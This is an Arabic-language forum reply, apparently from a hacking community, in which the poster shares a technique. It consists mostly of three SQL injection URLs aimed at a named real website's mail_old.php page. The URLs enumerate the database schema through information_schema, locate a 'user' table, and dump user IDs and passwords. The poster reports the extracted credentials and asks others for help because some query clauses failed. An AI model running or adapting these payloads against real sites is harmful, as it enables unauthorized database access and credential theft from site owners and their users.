السلام عليكم و رحمة الله تعالى و بركاته
شكرا أخي الغالي على الفكرة الجميلة كنت محتاج لها و الله
كود:
II-
http://www.hironakajima.com/business/mail
_old.php?mail_id=-12%20union%
20select%201,2,concat%
28table_name,0x3a,column_name,0x3a,tabl
e_schema%
29,4,5+from+information_schema.columns+
where+column_name+LIKE+CHAR%
2837,%20112,%2097,%20115,%2037%29--
III-
http://www.hironakajima.com/business/mail
_old.php?mail_id=-12%20union%
20select%201,2,concat%
28table_name,0x3a,column_name,0x3a,tabl
e_schema%
29,4,5+from+information_schema.columns+
where+table_name=0x75736572--
IV-
http://www.hironakajima.com/business/mail
_old.php?mail_id=-12 union select
1,2,concat
(user_id,0x3a,userpass),4,5+from+user--
النتيجة
اليوزرنام 1
الباس stoned
************
user اسم جدول اليوزر
userpass اسم عمود لاباس
user_id اسم عمود اليوزر
اليوزرنام 1
الباس stoned
*************
يعني اليوزر مستحيل و الباس صحيح
جربت امر غروب و ليميت ما يشتغل معاي يعني قلت ربما اخطأت في الجدول لانه كما لاحضتم الجدول عندي اسمه user
تلميذ كسول خخخ
آسف اتمنى اشوف ردودكم اخوتي الكرام
سلام